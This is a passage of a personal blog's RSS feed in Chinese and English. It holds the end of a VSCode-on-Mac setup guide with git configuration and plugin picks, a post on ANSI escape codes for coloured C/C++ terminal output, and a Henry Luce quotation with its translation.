<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074550.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074550.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<p>提交的时候如果你没有配置过你的用户名和密码，可能会报错。这时候使用快捷键 control+` 打开终端，配置一下默认用户名和邮箱：</p>
<p>git config --global user.name "用户名"
git config --global user.email "用户邮箱"</p>
<p>在 Push 更改的时候，会需要输入你的 GitHub 账户和密码。如果想要保存账户和密码，在终端中使用<code>git config --global credential.helper store</code>即可保存你的凭据。</p>
<h3 id="对于-linux-的更改"><a href="#对于-linux-的更改">对于 Linux 的更改</a></h3>
<p>VSCode 同样提供具有 GUI 的 Linux 系统版本。如果你使用虚拟机并在虚拟机中共享同一个工作文件夹，lldb 的调试配置文件可能会无法运行。这时候只需要将你的 Launch.json 中的 "MIMode" 配置由 lldb 改成 gdb 即可。</p>
<h3 id="一些值得推荐的插件"><a href="#一些值得推荐的插件">一些值得推荐的插件</a></h3>
<p>这里是我觉得一些比较不错的插件，会有极小几率持续更新。</p>
<ul>
<li>Markdown All in One：</li>
<li>增强的 Markdown 预览，支持了 LaTeX 公式，并可以格式化美化源文件。</li>
<li>sftp：玩服务器的话可以试一试，小规模操作可以丢掉 FileZilla 了。直接使用 VSCode 编辑服务器文件简直太棒了。</li>
<li>Markdown PDF：Markdown 党的福音，可以利用 Chromium 内核将 md 导出美观的 pdf 文件。</li>
<li>Nasc VSCode Touchbar：自定义 TouchBar 上的功能，可以添加注释、批量重命名、跳转定义等功能，更加接近 Xcode 的 TouchBar 体验。</li>
</ul>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074552.png"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074552.png" alt="" loading="lazy" data-wrapped="true"></a></p>
<ul>
<li>FontSize Shortcuts：可以使用 Command + +/- 快速调整编辑器中文本字体大小而不影响其他部分的大小。</li>
<li>CodeRunner：免配置一件快速运行多种语言的代码，不支持断点调试。</li>
<li>VSC Netease Music：网易云音乐的 VSCode 插件？实用性需考证，更像一个玩具。不过很好玩。</li>
</ul>]]></description>
            <link>https://jtchen.io/blog/mac-vscode-guide</link>
            <guid isPermaLink="false">mac-vscode-guide</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Sun, 24 Mar 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[改变 C/C++ 控制台程序的输出颜色和样式]]></title>
            <description><![CDATA[<p>我们经常可以看见 Linux 自带终端下的许多程序都输出了不同颜色和底纹的字体。最近也想要自己实现一下这种效果，方法是在输出流中插入占位符<code>\033[***</code>。</p>
<p>我从网上收集了一些常用的控制语句，并用以下代码依次测试了一下效果：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">#<span class="hljs-meta hljs-keyword">include</span> <span class="hljs-meta hljs-string">&#x3C;iostream></span>	 	 </div><div class="code-line numbered-code-line" data-line-number="2">using namespace <span class="hljs-built_in">std</span>;	 	 </div><div class="code-line numbered-code-line" data-line-number="3"><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span>{	 	 </div><div class="code-line numbered-code-line" data-line-number="4"> <span class="hljs-built_in">cout</span> &#x3C;&#x3C; <span class="hljs-string">"\033[2J\033[0;0H"</span>;	 	 </div><div class="code-line numbered-code-line" data-line-number="5"> <span class="hljs-keyword">for</span> (<span class="hljs-type">int</span> i = <span class="hljs-number">0</span>; i &#x3C; <span class="hljs-number">129</span>;i++){	 	 </div><div class="code-line numbered-code-line" data-line-number="6"> <span class="hljs-built_in">printf</span>(<span class="hljs-string">"\033[%dm\033[%dm)\033[0m\n"</span>, i, i);	 	 </div><div class="code-line numbered-code-line" data-line-number="7"> }	 	 </div><div class="code-line numbered-code-line" data-line-number="8">}</div></code></pre>
<hr>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">\<span class="hljs-number">033</span>[<span class="hljs-number">0</span>m 关闭所有属性   </div><div class="code-line numbered-code-line" data-line-number="2">\<span class="hljs-number">033</span>[<span class="hljs-number">1</span>m 高亮  </div><div class="code-line numbered-code-line" data-line-number="3">\<span class="hljs-number">033</span>[<span class="hljs-number">2</span>m 亮度减半  </div><div class="code-line numbered-code-line" data-line-number="4">\<span class="hljs-number">033</span>[<span class="hljs-number">3</span>m 斜体  </div><div class="code-line numbered-code-line" data-line-number="5">\<span class="hljs-number">033</span>[<span class="hljs-number">4</span>m 下划线  </div><div class="code-line numbered-code-line" data-line-number="6">\<span class="hljs-number">033</span>[<span class="hljs-number">5</span>m 闪烁 （效果图中未显示）  </div><div class="code-line numbered-code-line" data-line-number="7">\<span class="hljs-number">033</span>[<span class="hljs-number">6</span>m 快闪  </div><div class="code-line numbered-code-line" data-line-number="8">\<span class="hljs-number">033</span>[<span class="hljs-number">7</span>m 反显  </div><div class="code-line numbered-code-line" data-line-number="9">\<span class="hljs-number">033</span>[<span class="hljs-number">8</span>m 消隐  </div><div class="code-line numbered-code-line" data-line-number="10">\<span class="hljs-number">033</span>[<span class="hljs-number">9</span>m 中间一道横线</div></code></pre>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074712.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074712.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<hr>
<p>31-37：设置前景色</p>
<p>41-47：设置背景色</p>
<p>（颜色在不同的终端中设置的 ANSI 颜色可能会有所不同）</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074713.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074713.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074716.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074716.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074718.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074718.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<hr>
<p>90-106 和 31-37 一样，也是用来设置颜色的，不过会更加明亮一些。</p>
<p><a data-fslightbox="gallery" href="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074721.jpg"><img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-074721.jpg" alt="" loading="lazy" data-wrapped="true"></a></p>
<hr>
<p>除此之外，还有以下常用命令：</p>
<pre><code class="hljs language-c" class="hljs"><div class="code-line numbered-code-line" data-line-number="1">\<span class="hljs-number">033</span>[nA 光标上移n行  </div><div class="code-line numbered-code-line" data-line-number="2">\<span class="hljs-number">033</span>[nB 光标下移n行   </div><div class="code-line numbered-code-line" data-line-number="3">\<span class="hljs-number">033</span>[nC 光标右移n行  </div><div class="code-line numbered-code-line" data-line-number="4">\<span class="hljs-number">033</span>[nD 光标左移n行  </div><div class="code-line numbered-code-line" data-line-number="5">\<span class="hljs-number">033</span>[y;xH设置光标位置  </div><div class="code-line numbered-code-line" data-line-number="6">\<span class="hljs-number">033</span>[<span class="hljs-number">2</span>J 清屏  </div><div class="code-line numbered-code-line" data-line-number="7">\<span class="hljs-number">033</span>[K 清除从光标到行尾的内容  </div><div class="code-line numbered-code-line" data-line-number="8">\<span class="hljs-number">033</span>[s 保存光标位置  </div><div class="code-line numbered-code-line" data-line-number="9">\<span class="hljs-number">033</span>[u 恢复光标位置  </div><div class="code-line numbered-code-line" data-line-number="10">\<span class="hljs-number">033</span>[?<span class="hljs-number">25l</span> 隐藏光标  </div><div class="code-line numbered-code-line" data-line-number="11">\<span class="hljs-number">033</span>[?<span class="hljs-number">25</span>h 显示光标</div></code></pre>
<p>在实际的使用的过程中，可以同时组合多种配置，<strong>并用分号分隔</strong>。比如<code>\033[4;42m</code>可以输出绿色背景并带有下划线的文字。通常也会连续使用命令，用<code>\033[2J;0;0H</code>可以清屏并将光标移到控制台左上角开始输出。</p>]]></description>
            <link>https://jtchen.io/blog/stylish-output</link>
            <guid isPermaLink="false">stylish-output</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Wed, 13 Mar 2019 00:00:00 GMT</pubDate>
        </item>
        <item>
            <title><![CDATA[Life]]></title>
            <description><![CDATA[<blockquote>
<p>To see life; to see the world;<br>
To eyewitness great events;<br>
To watch the faces of the poor and the gestures of the proud;<br>
To see strange things – machines, armies, multitudes, shadows in the jungle and on the moon;<br>
To see man’s work – his paintings, towers and discoveries;<br>
To see things thousands of miles away, things hidden behind walls and within rooms, things dangerous to come to; the women that men love and many children;<br>
To see and to take pleasure in seeing;<br>
To see and be amazed; to see and be instructed.</p>
<div align="right">-- Henry R. Luce</div>
</blockquote>
<hr>
<blockquote>
<p>去看生活，去看世界；<br>
去目击伟大的历史事件；<br>
去看穷人的面孔和骄傲者的姿态；<br>
去看不同寻常的事物 —— 机器、军队、群众、以及丛林中和月球上的阴影；<br>
去看人类的杰作 —— 绘画、建筑和发明；<br>
去看千里之外的世界，去看隐藏在高墙和房间内的事物，以及难以接近的危险事件；<br>
去看那些被男人所爱着的女人们还有孩子；<br>
去看并且享受愉悦；去看并被感动；去看并被教育。</p>
</blockquote>
<!-- <img src="https://billc.oss-cn-shanghai.aliyuncs.com/img/2020-04-13-073913.jpg" width="300" /> -->
<!-- Bill Chen  -->]]></description>
            <link>https://jtchen.io/blog/life</link>
            <guid isPermaLink="false">life</guid>
            <dc:creator><![CDATA[Juntong Chen]]></dc:creator>
            <pubDate>Tue, 01 Jan 2019 00:00:00 GMT</pubDate>
        </item>
    </channel>
</rss>